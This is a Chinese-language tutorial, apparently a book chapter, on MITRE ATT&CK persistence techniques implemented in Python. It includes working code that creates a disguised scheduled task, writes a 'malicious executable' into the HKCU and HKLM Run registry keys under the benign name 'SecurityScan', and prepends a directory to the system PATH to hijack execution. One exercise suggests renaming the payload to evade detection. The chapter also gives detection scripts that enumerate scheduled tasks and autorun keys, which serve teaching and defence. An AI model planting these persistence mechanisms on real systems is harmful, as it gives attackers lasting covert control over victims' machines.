在現代資安攻防中,攻擊者會利用各種技術來維持對目標系統的控制權。本文將探討如何使用 Python 實作 MITRE ATT&CK 框架中的永續性策略,包括修改登入檔自動執行鍵值、建立計劃任務,以及劫持執行流程和修改系統路徑等技術。這些技術讓惡意程式碼得以在系統重新啟動或使用者登入時自動執行,從而達到長期控制的目的。瞭解這些技術的運作原理和實作方式,對於防禦永續性攻擊至關重要。此外,文章也提供了一些偵測和防禦這些攻擊的建議,例如監控登入檔和系統路徑的變更,以及檢查可疑的計劃任務。
維持永續性:深入解析MITRE ATT&CK永續性策略
在前一章節中,我們探討了攻擊者如何利用Python在目標系統上實作程式碼執行。本章節將進一步深入研究如何使用Python來鞏固這一立足點,透過永續性機制來維持對目標系統的控制。
MITRE ATT&CK永續性策略概述
MITRE ATT&CK框架中的永續性策略描述了19種不同的技術,用於實作對目標系統的長期控制。這些技術旨在幫助攻擊者在系統重新啟動、使用者登出或其他可能中斷其存取的事件後,仍能保持對系統的控制。
使用Python實作永續性
Python由於其跨平台性和強大的函式庫支援,成為實作永續性的理想工具。攻擊者可以利用Python指令碼建立後門、修改系統組態、利用計劃任務等方式來實作永續性。
範例:使用Python建立計劃任務
import subprocess
def create_scheduled_task(task_name, task_command):
try:
# 建立計劃任務的命令
command = f'schtasks /create /tn {task_name} /tr {task_command} /sc daily /st 08:00'
output = subprocess.check_output(command, shell=True)
return output.decode('utf-8')
except subprocess.CalledProcessError as e:
return f"建立計劃任務失敗:{e}"
# 建立一個名為"SecurityScan"的計劃任務
task_name = "SecurityScan"
task_command = "C:\\Users\\hepos\\Documents\\TaskScheduler.py"
print(create_scheduled_task(task_name, task_command))
內容解密:
subprocess模組的使用:該模組允許Python指令碼執行系統命令。在這個例子中,我們使用它來建立一個Windows計劃任務。schtasks命令:這是一個用於管理Windows計劃任務的命令列工具。我們使用它來建立一個新的計劃任務。task_name和task_command變數:這些變數分別定義了計劃任務的名稱和執行的命令。在這個例子中,我們建立了一個名為"SecurityScan"的任務,執行一個Python指令碼。try-except區塊:用於捕捉執行subprocess.check_output時可能發生的錯誤,並傳回錯誤訊息。
檢測與防禦
為了檢測和防禦根據Python的永續性技術,安全從業者可以監控系統上的異常活動,例如未知的計劃任務或可疑的網路連線。利用像ScheduleTracker.py這樣的工具,可以幫助識別惡意的計劃任務。
import subprocess
def check_scheduled_tasks():
try:
output = subprocess.check_output("schtasks /query /v /fo csv /nh", shell=True)
output = output.decode('utf-8').split("\r\n")
tasks = [o.split(',') for o in output]
for task in tasks:
if len(task) > 8:
name = task[1].strip('"')
creator = task[7].strip('"')
command = task[8].strip('"')
print(f"任務名稱:{name}, 建立者:{creator}, 命令:{command}")
except subprocess.CalledProcessError as e:
print(f"查詢計劃任務失敗:{e}")
check_scheduled_tasks()
內容解密:
subprocess.check_output的使用:用於執行schtasks命令並取得輸出。output.decode('utf-8'):將輸出的位元組轉換為UTF-8編碼的字串。tasks列表推導式:將輸出分割成個別的任務,並提取相關資訊(名稱、建立者、命令)。print函式:輸出每個任務的詳細資訊。
練習建議
- 增強WMIDetection的功能:利用Windows事件日誌識別使用WMI啟動的程式PID,並使用
psutil等Python函式庫收集更多關於該程式和可執行檔案的資訊。 - 修改TaskScheduler以增加逃避偵測的能力:更改目標可執行檔案的名稱和位置,以增加偵測的難度。
- 擴充套件ScheduleTracker的功能:利用識別出的惡意任務資訊,進一步瞭解可執行檔案及其目前的執行狀態。
維持永續性:開機或登入自動啟動執行技術分析
在資安領域中,惡意軟體經常利用Windows系統的自動啟動機制來維持永續性。本章節將探討「開機或登入自動啟動執行」(Boot or Logon Autostart Execution)技術,並分析相關的程式碼範例。
自動啟動技術的原理與實作
Windows系統提供了多種方式讓程式在開機或使用者登入時自動執行,這些機制原本用於執行系統任務或自訂指令碼,但也被惡意軟體利用來達成持久控制的目的。主要實作方式包括修改登入檔(Registry)中的自動啟動鍵值。
登入檔自動啟動機制
Windows的登入檔儲存了系統及應用程式的組態資料,其中包含數個自動啟動鍵值(Autorun keys),這些鍵值指向需要在開機或登入時執行的程式或指令碼。常見的自動啟動鍵值路徑包括:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
這些路徑下的鍵值決定了哪些程式會在特定事件發生時被執行。
程式碼範例分析:RegAutorun.py
import os, shutil, winreg
# 設定檔案路徑
filedir = os.path.join(os.getcwd(), "Temp")
filename = "benign.exe"
filepath = os.path.join(filedir, filename)
# 清除舊檔案
if os.path.isfile(filepath):
os.remove(filepath)
# 建立惡意可執行檔
os.system("python BuildExe.py")
# 移動可執行檔到指定目錄
shutil.move(filename, filedir)
# 設定登入檔自動啟動鍵值
reghive = winreg.HKEY_CURRENT_USER
regpath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_WRITE)
winreg.SetValueEx(key, "SecurityScan", 0, winreg.REG_SZ, filepath)
內容解密:
- 程式首先檢查並清除目標目錄中的舊檔案。
- 使用
BuildExe.py建立一個惡意可執行檔。 - 將建立的可執行檔移動到指定目錄。
- 開啟登入檔編輯器,存取
HKEY_CURRENT_USER下的Run鍵值。 - 新增一個名為
SecurityScan的鍵值,指向惡意可執行檔的路徑,使其在使用者登入時自動執行。
如何偵測登入檔自動啟動修改
要偵測惡意軟體是否修改了登入檔以達成永續性,可以監控相關的登入檔鍵值變化。以下是一個偵測範例:
import winreg
def detect_autorun():
reghive = winreg.HKEY_CURRENT_USER
regpath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
try:
key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_READ)
num_values = winreg.QueryInfoKey(key)[1]
for i in range(num_values):
value_name, value_data, _ = winreg.EnumValue(key, i)
print(f"Name: {value_name}, Path: {value_data}")
except Exception as e:
print(f"Error: {e}")
detect_autorun()
內容解密:
- 開啟指定的登入檔鍵值路徑。
- 列舉該鍵值下的所有專案,輸出名稱及對應的程式路徑。
- 透過檢查這些路徑,可以判斷是否有可疑的自動啟動專案。
維持永續性:透過Python修改自動執行登入檔鍵值
在Windows系統中,攻擊者經常利用修改登入檔中的自動執行(Autorun)鍵值來實作永續性攻擊。Python的winreg函式庫使得攻擊者能夠輕易地新增或修改登入檔中的鍵值。本章節將探討如何使用Python來修改自動執行鍵值,以及如何偵測這些鍵值。
使用Python修改自動執行鍵值
以下是一個Python程式碼範例,展示瞭如何使用winreg函式庫來修改登入檔中的自動執行鍵值:
import winreg
# 設定登入檔的Hive和路徑
reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
# 開啟登入檔鍵值
key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_WRITE)
# 設定自動執行鍵值
winreg.SetValueEx(key, "SecurityScan", 0, winreg.REG_SZ, "C:\\Path\\To\\Executable.exe")
內容解密:
winreg.OpenKey函式:此函式用於開啟一個已存在的登入檔鍵值或建立一個新的鍵值。它需要四個引數:Hive、子鍵路徑、保留值(通常為0)和存取許可權(本例中使用winreg.KEY_WRITE進行寫入操作)。winreg.SetValueEx函式:此函式用於設定指定鍵值的資料。它需要五個引數:鍵值控制程式碼、值名稱、保留值(通常為0)、資料型別(本例中使用winreg.REG_SZ表示字串)和要儲存的資料(本例中是可執行檔的路徑)。
執行程式碼
此程式碼設計用於修改HKCU和HKLM登入檔Hive中的鍵值。執行此程式碼所需的許可權取決於所選擇的Hive。如果選擇HKCU,則不需要特殊許可權;如果選擇HKLM,則需要管理員許可權。
登入檔監控
為了偵測登入檔中的自動執行鍵值,我們可以編寫一個Python指令碼來讀取和列印這些鍵值的資料。以下是一個範例指令碼:
import winreg
def checkRegAutorun(hive, path):
autoruns = []
try:
key = winreg.OpenKey(hive, path)
numValues = winreg.QueryInfoKey(key)[1]
except:
return []
for i in range(numValues):
try:
[name, data, _] = winreg.EnumValue(key, i)
except:
continue
if len(name) > 0:
autoruns.append([name, data])
return autoruns
def printResults(hive, path, autoruns):
print("在 %s\\%s 中偵測到的自動執行項" % (hive, path))
for autorun in autoruns:
print("\t%s: %s" % (autorun[0], autorun[1]))
print()
# 設定要檢查的Hive和路徑
hives = {
"HKCU": winreg.HKEY_CURRENT_USER,
"HKLM": winreg.HKEY_LOCAL_MACHINE
}
paths = ["SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"]
def checkAutoruns():
for hive in hives:
for path in paths:
autoruns = checkRegAutorun(hives[hive], path)
if autoruns:
printResults(hive, path, autoruns)
checkAutoruns()
內容解密:
checkRegAutorun函式:此函式用於檢查指定Hive和路徑下的自動執行鍵值。它使用winreg.OpenKey開啟鍵值,並使用winreg.QueryInfoKey取得鍵值的數量。然後,它遍歷每個鍵值,並使用winreg.EnumValue取得鍵值的名稱和資料。printResults函式:此函式用於列印偵測到的自動執行項。checkAutoruns函式:此函式用於檢查多個Hive和路徑下的自動執行鍵值。
維持永續性:檢測與操控 Windows 登入檔與系統路徑
在網路安全領域中,惡意軟體經常利用 Windows 登入檔和系統路徑來實作永續性。本文將探討如何檢測和操控這些機制,以幫助安全研究人員和開發人員更好地理解和對抗惡意軟體。
搜尋 HKU Hive
HKLM 和 HKCU 是兩個常見的登入檔組態單元,用於儲存自動執行(Autorun)鍵值。然而,第三個重要的組態單元是 HKEY_USERS(HKU),它儲存了每個登入帳戶和群組的快取登入檔鍵。
HKU 組態單元的結構與其他組態單元不同,其頂層鍵使用安全識別碼(SID)命名。要在 HKU 組態單元中搜尋修改後的自動執行鍵,需要迭代這些 SID 鍵。
程式碼範例:
import winreg
def checkRegAutoruns(reghive, regpath):
reg = winreg.ConnectRegistry(None, reghive)
key = winreg.OpenKey(reg, regpath, access=winreg.KEY_READ)
index = 0
autoruns = []
while True:
try:
val = winreg.EnumValue(key, index)
autoruns.append((val[0], val[1]))
index += 1
except OSError:
break
return autoruns
# 搜尋 HKU 組態單元中的自動執行鍵
hku_hive = winreg.HKEY_USERS
num_subkeys = winreg.QueryInfoKey(winreg.HKEY_USERS)[0]
for i in range(num_subkeys):
sid = winreg.EnumKey(hku_hive, i)
regpath = f"{sid}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
autoruns = checkRegAutoruns(hku_hive, regpath)
for autorun in autoruns:
print(f"自動執行專案:{autorun[0]} - {autorun[1]}")
內容解密:
- 匯入必要的模組:使用
winreg模組來存取 Windows 登入檔。 - 定義函式
checkRegAutoruns:該函式接受登入檔組態單元和路徑,傳回該路徑下的自動執行鍵值列表。 - 搜尋 HKU 組態單元:首先,連線到 HKU 組態單元,並取得其子鍵數量。
- 迭代 SID 鍵:對於每個 SID 鍵,建構自動執行鍵的完整路徑,並呼叫
checkRegAutoruns函式取得自動執行鍵值。 - 輸出結果:列印出找到的自動執行專案。
劫持執行流程
除了修改自動執行鍵外,另一種實作永續性的方法是劫持合法程式的執行流程。許多程式會自動或定期執行,並通常匯入外部函式庫來完成特定任務。透過替換合法的應用程式或函式庫,惡意程式碼可以定期執行。
修改 Windows 路徑
大多數情況下,執行程式時不會指設定檔案的確切位置,而是依靠作業系統根據 Path 環境變數來確定要執行的檔案。Path 是一個目錄列表,作業系統會按順序搜尋這些目錄以找到正確名稱的檔案。
程式碼範例:ChangePath.py
import os
import winreg
def readPathValue(reghive, regpath):
reg = winreg.ConnectRegistry(None, reghive)
key = winreg.OpenKey(reg, regpath, access=winreg.KEY_READ)
index = 0
while True:
try:
val = winreg.EnumValue(key, index)
if val[0] == "Path":
return val[1]
index += 1
except OSError:
break
def editPathValue(reghive, regpath, targetdir):
path = readPathValue(reghive, regpath)
if targetdir in path:
return
newpath = targetdir + ";" + path
reg = winreg.ConnectRegistry(None, reghive)
key = winreg.OpenKey(reg, regpath, access=winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "Path", 0, winreg.REG_EXPAND_SZ, newpath)
# 修改 SYSTEM 路徑
reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment"
targetdir = os.getcwd()
editPathValue(reghive, regpath, targetdir)
內容解密:
readPathValue函式:讀取指定登入檔組態單元和路徑下的 Path 值。editPathValue函式:修改 Path 值,將指定的目標目錄新增到 Path 的開頭。- 修改 SYSTEM 路徑:將目前工作目錄新增到 SYSTEM 的 Path 中,以實作永續性。